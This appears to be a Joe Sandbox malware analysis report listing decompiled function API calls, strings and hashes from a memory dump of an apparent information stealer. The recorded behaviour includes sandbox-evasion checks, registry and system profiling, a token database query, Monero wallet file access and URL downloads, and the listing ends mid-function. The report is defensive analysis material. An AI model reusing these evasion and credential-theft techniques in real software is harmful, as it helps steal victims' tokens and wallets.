Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 5952447cb1a2162fc3c98f1164f524aa5bac8be15356bc896bf274e530d6f382
Instruction ID: 77c2235888b7e95894155bb44bcda8fefbb4e5f14ee774ae297ffca27449d213
Opcode Fuzzy Hash: 5952447cb1a2162fc3c98f1164f524aa5bac8be15356bc896bf274e530d6f382
Instruction Fuzzy Hash: A3B10071910308ABDB04FBA4DD96EEE77B8AF54300F404999F506B61D1EF34AA49CB72

Function 00AF4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00AF4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00AF4FD1
InternetOpenA.WININET(00B10DDF,00000000,00000000,00000000,00000000), ref: 00AF4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00AF5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00AF5041
InternetCloseHandle.WININET(?), ref: 00AF50B9
InternetCloseHandle.WININET(?), ref: 00AF50C6

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 7ea9ce107189c5a050896a33fc09f840c3088b1ed4b908ee27122ec5917bdeb0
Instruction ID: 9a9f8a97bf65a9c8d17a1004968c46895c610b053686f8c2caa47edd9ef4ac9e
Opcode Fuzzy Hash: 7ea9ce107189c5a050896a33fc09f840c3088b1ed4b908ee27122ec5917bdeb0
Instruction Fuzzy Hash: AC31E7B4A00218ABDB20CF54DC85BD9B7B4EB48704F5081D9BB09A7281DB706AC58FA9

Function 00B083DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B08426
wsprintfA.USER32 ref: 00B08459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B0847B
RegCloseKey.ADVAPI32(00000000), ref: 00B0848C
RegCloseKey.ADVAPI32(00000000), ref: 00B08499

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

RegQueryValueExA.KERNEL32(00000000,0076E258,00000000,000F003F,?,00000400), ref: 00B084EC
lstrlen.KERNEL32(?), ref: 00B08501
RegQueryValueExA.KERNEL32(00000000,0076E2D0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00B10B34), ref: 00B08599
RegCloseKey.KERNEL32(00000000), ref: 00B08608
RegCloseKey.ADVAPI32(00000000), ref: 00B0861A

Strings

%s\%s, xrefs: 00B0844D

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: e67fbe3f4d6e979edbbf86a7780854c617cfb17963ed1203904ab4c084da742c
Instruction ID: 7dc1756754412d825a8c3637de2ff0d1e4234281c362bbc355f5d7d1cc2ce8bb
Opcode Fuzzy Hash: e67fbe3f4d6e979edbbf86a7780854c617cfb17963ed1203904ab4c084da742c
Instruction Fuzzy Hash: 6121BA71A102189BDB64DB54DC85FE9B7B8FB48700F00C5D9A649A6280DF71AA85CFE4

Function 00B07720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07734
RtlAllocateHeap.NTDLL(00000000), ref: 00B0773B
RegOpenKeyExA.KERNEL32(80000002,0075B780,00000000,00020119,00B076B9), ref: 00B0775B
RegQueryValueExA.KERNEL32(00B076B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00B0777A
RegCloseKey.ADVAPI32(00B076B9), ref: 00B07784

Strings

CurrentBuildNumber, xrefs: 00B07771

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: ba0230c8744a5675c08ddff66e8934c5705a0be5668a43b6a7adf68199ac9c68
Instruction ID: 93dc711ec852d1effef2da11134f583ff4bdcea3d38023453bd17bc04ad3184b
Opcode Fuzzy Hash: ba0230c8744a5675c08ddff66e8934c5705a0be5668a43b6a7adf68199ac9c68
Instruction Fuzzy Hash: A30117F5B40308BBD700DBE4DC49FAEB7B8EB44701F104599FA45E7391DA715A448B61

Function 00B069F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,007616F8), ref: 00B098A1
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00761710), ref: 00B098BA
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00761728), ref: 00B098D2
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00761548), ref: 00B098EA
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00761788), ref: 00B09903
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00768958), ref: 00B0991B
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,007564F8), ref: 00B09933
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00756438), ref: 00B0994C
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,007615A8), ref: 00B09964
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00761560), ref: 00B0997C
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,007615C0), ref: 00B09995
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00761740), ref: 00B099AD
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,00756538), ref: 00B099C5
Part of subcall function 00B09860: GetProcAddress.KERNEL32(76210000,007615D8), ref: 00B099DE

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00AF11D0: ExitProcess.KERNEL32 ref: 00AF1211

Part of subcall function 00AF1160: GetSystemInfo.KERNEL32(?), ref: 00AF116A
Part of subcall function 00AF1160: ExitProcess.KERNEL32 ref: 00AF117E

Part of subcall function 00AF1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00AF112B
Part of subcall function 00AF1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00AF1132
Part of subcall function 00AF1110: ExitProcess.KERNEL32 ref: 00AF1143

Part of subcall function 00AF1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00AF123E
Part of subcall function 00AF1220: __aulldiv.LIBCMT ref: 00AF1258
Part of subcall function 00AF1220: __aulldiv.LIBCMT ref: 00AF1266
Part of subcall function 00AF1220: ExitProcess.KERNEL32 ref: 00AF1294

Part of subcall function 00B06770: GetUserDefaultLangID.KERNEL32 ref: 00B06774

Part of subcall function 00AF1190: ExitProcess.KERNEL32 ref: 00AF11C6

Part of subcall function 00B07850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00AF11B7), ref: 00B07880
Part of subcall function 00B07850: RtlAllocateHeap.NTDLL(00000000), ref: 00B07887
Part of subcall function 00B07850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B0789F

Part of subcall function 00B078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07910
Part of subcall function 00B078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B07917
Part of subcall function 00B078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B0792F

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,007689D8,?,00B1110C,?,00000000,?,00B11110,?,00000000,00B10AEF), ref: 00B06ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B06AE8
CloseHandle.KERNEL32(00000000), ref: 00B06AF9
Sleep.KERNEL32(00001770), ref: 00B06B04
CloseHandle.KERNEL32(?,00000000,?,007689D8,?,00B1110C,?,00000000,?,00B11110,?,00000000,00B10AEF), ref: 00B06B1A
ExitProcess.KERNEL32 ref: 00B06B22

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 95be88afb61da1637b3b1da83d5ff934b44449665a563602e8e96e67bb79e10b
Instruction ID: 6b4493829b545af108a94eef09497d092e90f42397aaad58cd08ce4af4868c5a
Opcode Fuzzy Hash: 95be88afb61da1637b3b1da83d5ff934b44449665a563602e8e96e67bb79e10b
Instruction Fuzzy Hash: 5531FE71E10308AADB04FBF0DD56BFE7BB8AF14340F504998F252A61D2DF706945C6A6

Function 00AF99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 8cb85fb8b331b10ab3b390e5d1b3317f47c98bdc285ce69e3ce55764d3c97d06
Instruction ID: 4c5e8455640d8acb044edd7c3ed127ce959b9f45cc64ccec24cc8ecc1871d15e
Opcode Fuzzy Hash: 8cb85fb8b331b10ab3b390e5d1b3317f47c98bdc285ce69e3ce55764d3c97d06
Instruction Fuzzy Hash: D731D6B4A00209EFDB14DF94D985BAE77B5FF48390F108158F911A7390D778AA42CFA1

Function 00AF1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00AF123E
__aulldiv.LIBCMT ref: 00AF1258
__aulldiv.LIBCMT ref: 00AF1266
ExitProcess.KERNEL32 ref: 00AF1294

Strings

@, xrefs: 00AF1233

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 722961d400d5233504500dc7034c4ce35fd8cc10673be638151da5dcc8fec180
Instruction ID: 203872af2ede5cab03bdc93c3ba59be0c2bedc47ef5470dbbbea4689b019a2c1
Opcode Fuzzy Hash: 722961d400d5233504500dc7034c4ce35fd8cc10673be638151da5dcc8fec180
Instruction Fuzzy Hash: CF011DB0E4430CFAEB10EBE4CC49BEEBBB8AB14705F608459F705B62C0D77496458B99

Function 6CABC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CABC947
